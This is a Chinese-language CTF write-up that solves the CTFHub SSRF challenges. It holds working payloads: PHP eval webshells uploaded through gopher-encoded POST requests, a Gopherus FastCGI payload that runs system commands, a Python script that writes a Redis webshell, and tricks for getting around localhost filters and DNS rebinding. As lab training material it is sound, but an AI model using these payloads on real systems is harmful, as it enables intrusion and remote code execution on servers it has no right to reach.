[SSRF]CTFHUB SSRF

在 CTFHUB SSRF 做题记录

SSRF

4b616e312e927ef43e6657a9e4bc15d3_MD5

SSRF (Server-Side Request Forgery,服务器端请求伪造)由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。

通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等

SSRF漏洞相关函数和类

  • file_get_contents():将整个文件或一个 url 所指向的文件读入一个字符串中。
  • readfile():输出一个文件的内容。
  • fsockopen():打开一个网络连接或者一个 Unix 套接字连接。
  • curl_exec():初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt()curl_exec()curl_close()函数使用。
  • fopen():打开一个文件文件或者 URL。

SSRF攻击涉及的协议

探测内网主机存活

泄露安装软件版本信息,查看端口,操作内网redis服务等,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。

gopher支持发出GET、POST请求,也可用于反弹 shell 。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等。

d09bd0c75b4193b5b8de7258c27fda38_MD5

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。
RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

:::tips 在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

:::

CTFHUB SSRF

957ef62a4b8c9db3ec18948f068c5a28_MD5

看到这样的url下意识想到ssrf,既然是让我们从目标主机内网环境访问其本地的flag.php,构造payload:

?url=http://127.0.0.1/flag.php

93b0a84a52ff5d24ea8e43587b211b46_MD5

这就是因为过滤不严谨,导致我们可以直接访问内网

ce6ffd3c1eba16d233d132589b1e016a_MD5

直接访问?url=http://127.0.0.1/flag.php不能访问

da79d79ee2d792f723a4e418a3701368_MD5

尝试用file://伪协议读取,payload:

/?url=file:///var/www/html/flag.php

d67450f4b50fdd67faba3968209dbe28_MD5

d8d86a800a4290765789c8a82561bdaa_MD5

既然告诉了我们是内网端口扫描,那我们就要利用ssrf漏洞探测目标主机上还开放了哪些端口。在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

这里的端口扫描我们用burpsuite抓包,发送到Intruder进行爆破设置:

931c65d682635048fd2542dd2561399f_MD5

设置类型为** Numbers **,From 8000 To 9000

cd1ebd70b9198039996bac5632d61c6f_MD5

爆破查找不同的长度

8efe3bff2302b507307b5e277c11660e_MD5

最终在8896端口发现Apache的web服务,我门再利用ssrf加http协议访问目标主机的8896端口即可得到flag,payload:

?url=[http://127.0.0.1:8896](http://127.0.0.1:8896)

453af1f1275e753552770c33a3a036fb_MD5

cac894aefbec5aacadbb359593438366_MD5

进行目录扫描,发现了index.phpflag.php302.php被删了,因为302.php里面是个302跳转,多余了没有必要),先读一下index.phpflag.php

5750045d9951dddd3fba9c360658b3d3_MD5

?url=file:/var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();   //初始化一个cURL对话
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);  //设置cURL会话的目标URL,URL由用户请求中的"url"参数提供。
curl_setopt($ch, CURLOPT_HEADER, 0);   //设置cURL是否包括头信息。在这里,它被设置为0,表示不包括头信息。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   //置cURL在执行时是否应该继续跟随重定向。这里被设置为1,表示允许cURL自动跟随重定向。
curl_exec($ch);   //执行cURL会话,获取指定URL的内容
curl_close($ch);   //关闭cURL对话

?url=file:/var/www/html/flag.php

f317e1fdb3df77e82e035053b7436705_MD5

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

代码必须要从本地127.0.0.1访问(由于是SSRF,所以不可能是修改XXF这么简单的),我们构造payload让目标机从本地访问flag.php

?url=[http://127.0.0.1/flag.php](http://127.0.0.1/flag.php)

查看源代码,得到key,但是页面没有提交按钮,需要自己构造POST请求,讲key发送出去,用gopher协议构造POST请求

eb4dedf10769284734dad9f55d3e2bd5_MD5

4f2efce9d035b55ec03e557e942a0e15_MD5

题目给了提示,**curl**会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(**Location: gopher://xxxxxxxx**)跳转页面,然后直接访问跳转页面,即可实现ssrf。

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=1e2e84bf345d38c316e5541b92c4a925

Content-Length: 36就是你需要发送的信息的长度,然后就可以开始编码了,具体进行几次编码取决于你的请求次数

gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D1e2e84bf345d38c316e5541b92c4a925

把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)

gopher%253A%252F%252F127.0.0.1%253A80%252F_POST%2520%252Fflag.php%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%253A80%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252036%250A%250Akey%253D1e2e84bf345d38c316e5541b92c4a925%0d%0a

然后在进行一次URL编码

gopher%25253A%25252F%25252F127.0.0.1%25253A80%25252F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250AHost%25253A%252520127.0.0.1%25253A80%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250AContent-Length%25253A%25252036%25250A%25250Akey%25253D1e2e84bf345d38c316e5541b92c4a925%250d%250a

直接使用python脚本即可生成符合gopher协议格式的payload

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
# Content-Length应为字符串“key=1e2e84bf345d38c316e5541b92c4a925”的长度。

key=1e2e84bf345d38c316e5541b92c4a925
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       
# 这里因为是GET请求所以要进行两次url编码

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

得到:gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D1e2e84bf345d38c316e5541b92c4a925%250D%250A

直接抓包放

d0adabf19f13aaac578bddd7cf0f58b5_MD5

3dfec7f366452cfd5bb04b3b13e852bb_MD5

扫描目录发现flag.php,读一下

659e3f7ba525bfb4b1334143f596471d_MD5

直接访问不行,必须通过目标机本地访问:

e76e491b4ca94e0c44fcefa471c6de6a_MD5

发现可以文件上传,但是没有提交按钮???

这题和上一题“POST请求”其实差不多,只不过上一题用POST方法传递key,这道题用POST方法传递的是文件。

接着,我们将index.phpflag.php的源码读出来:

?url=file:///var/www/html/index.php

48adc2cf77fa3f6467b812654b50fb31_MD5

?url=file:///var/www/html/flag.php

92d3676c47784201d91e6666735cec61_MD5

flag.php页面增加 **提交 **按钮

<input type="submit" name="submit">

9bd134ac00649a11352e3da24e468cfd_MD5

传一个马,抓包

c20b874e7d87503d42c441ea8f3757ec_MD5

将抓到的包内容复制到脚本中,把Host头改成127.0.0.1

019d3fd316978a624b592a0845e2bd6f_MD5

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 320
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-61c6a1d67a3192e0.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfz12DQ4VKPIR9535
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-61c6a1d67a3192e0.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryfz12DQ4VKPIR9535
Content-Disposition: form-data; name="file"; filename="ma.php"
Content-Type: application/octet-stream

<?php
eval($_POST[1]);
?>
------WebKitFormBoundaryfz12DQ4VKPIR9535
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryfz12DQ4VKPIR9535--

"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

生成

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520320%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-61c6a1d67a3192e0.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/119.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AReferer%253A%2520http%253A//challenge-61c6a1d67a3192e0.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522ma.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255B1%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535--%250D%250A%250D%250A

c96aaafd663e14244a66a92c3e09bea4_MD5

ac6ec1d313bbb7bd542620c7470541d0_MD5

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

FastCGI

Wikipedia对FastCGI的解释:快速通用网关接口Fast****Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

php-fpm

官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME’: ‘/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

详情请看:https://bbs.ichunqiu.com/thread-58455-1-1.html

接下来,我们使用 Gopherus工具生成攻击FastCGI的payload。

f16536e9bbc2ee7b1b70fd499c9c0f83_MD5

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

攻击协议:python gopherus.py --exploit fastcgi明确攻击协议,然后构造访问用的playload

文件:/var/www/html/index.php/index.php输入一个已知存在的php文件

命令执行:cat /*查看根目录下所有文件

81ec4d09419fae680fca1b04163c0076_MD5

获得如下payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20/%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

经过二次编码(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)(不知道怎么回事我只用进行一次编码,可能工具升级了???):

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH58%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253A%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2F%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

d8eea9c2296fec9c5548ad37b3ce6ddf_MD5

a284f28c21e17ffe52847e1f620767a8_MD5

主要是利用Redis未授权访问,实现像目标主机写入Webshell、SSH公钥,或写入计划任务实现反弹shell。

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

扫了下目录没东西,既然是Redis,那么应该就是利用SSRF对目标主机上的Redis进行未授权访问攻击。

进行端口扫描,题目提示 Redis 默认在 6379 端口,那么我们扫描 6000-7000 试试看

d2a6381bb882b554e72d68ab67f92eac_MD5

可以看到 6379 端口返回包发现 Redis 报错,说明目标主机上确实运行着Redis服务,并且端口为其默认端口6379。

利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。

还是使用 Gopherus 工具,用 Redis 协议

python2 gopherus.py --exploit redis

3b501b1b8caa7587c518e48460d2a0e2_MD5

将得到的 payload 进行二次编码,赋值给 url 后发现 504 超时,但是其实木马已经写入了

fd647c9e97c9d5971822d7234ebb641d_MD5

用蚁剑链接后找到根目录下 flag

3e0d6407bc58b687e709587dd44a86a2_MD5

利用Redis来写webshell

redis命令:

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

直接用 py 脚本得到二次编码后的 payload

import urllib
from urllib import parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload_prefix = protocol + ip + ":" + port + "/_"
CRLF = "\r\n"


def redis_format(arr):
    redis_arr = arr.split(" ")
    cmd_ = ""
    cmd_ += "*" + str(len(redis_arr))
    for x_ in redis_arr:
        cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
    cmd_ += CRLF
    return cmd_


if __name__ == "__main__":
    payload = ""
    for x in cmd:
        payload += parse.quote(redis_format(x))  # url编码
    payload = payload_prefix + parse.quote(payload)  # 再次url编码
    print(payload)

c60df26906f33d6500b4fd7bcec1498e_MD5

说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用@来绕过,如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://notfound.ctfhub.com@127.0.0.1http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。

我们扫描目录,发现了flag.php,构造如下payload即可绕过限制访问flag.php:

http://notfound.ctfhub.com@127.0.0.1/flag.php

915a97e25e76a3a77e3f2ae9b00f0eae_MD5

9adb1f9a2422c8e41994a894ed395f41_MD5

绕过127.0.0.1的方法有很多,如下给出几个实例:

php进制转换脚本:

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

得到:

127.0.0.1:
八进制0177.0.0.1
十六进制0x7f.0.0.1
十进制2130706433

因此也可以这样写payload:

?url=http://2130706433/flag.php
?url=http://0x7f.0.0.1/flag.php
?url=http://0177.0.0.1/flag.php
?url=http://localhost/
?url=http://0/
?url=http://0.0.0.0/flag.php
?url=http://127.1/flag.php
?url=http://sudo.cc/flag.php    //302跳转

7e25871c7e88520e8bff47f3969d740d_MD5

扫描目录发现flag.php,直接访问它,说必须从目标机本地访问,所以我们构造?url=http://127.0.0.1/flag.php,发现被检测了

2c301a463b7c92ef8213aebd1d582fab_MD5

题目提示 302 跳转,302 跳转就是由一个URL跳转到另外一个URL当中去,就比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag.php

这边xip.io和各种短网址生成都不能用,故用上一题解法

发现sudo.cc可以用,?url=http://sudo.cc/flag.php

fad2b5581e17d2f940d3841fb53fab24_MD5

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

8a1ed33fe8ef5a60e51f7cd609c4c430_MD5

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

由于我们无法在程序运行时以毫秒为单位手动更改dns记录,因此需要配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存。我们可以自己编写解析服务,也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html

21b212807a9e8e2cfc024b0677f139be_MD5

通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到我想要的结果。

我们利用该域名即可绕过限制成功访问flag.php得到flag,但是要不停访问数次才行(可以借助burpsuite):

<font style="color:rgb(51, 51, 51);">?url=7f000001.c0a80001.rbndr.us/flag.php</font>

访问过程中会不断出现以下报错,这是因为这个域名是不断的在127.0.0.1与192.168.0.1之间跳动的,所以要不断访问数次,这边用 bp 测试

42f6e676bc14d5e426ec2eab21653842_MD5

浅谈DNS重绑定漏洞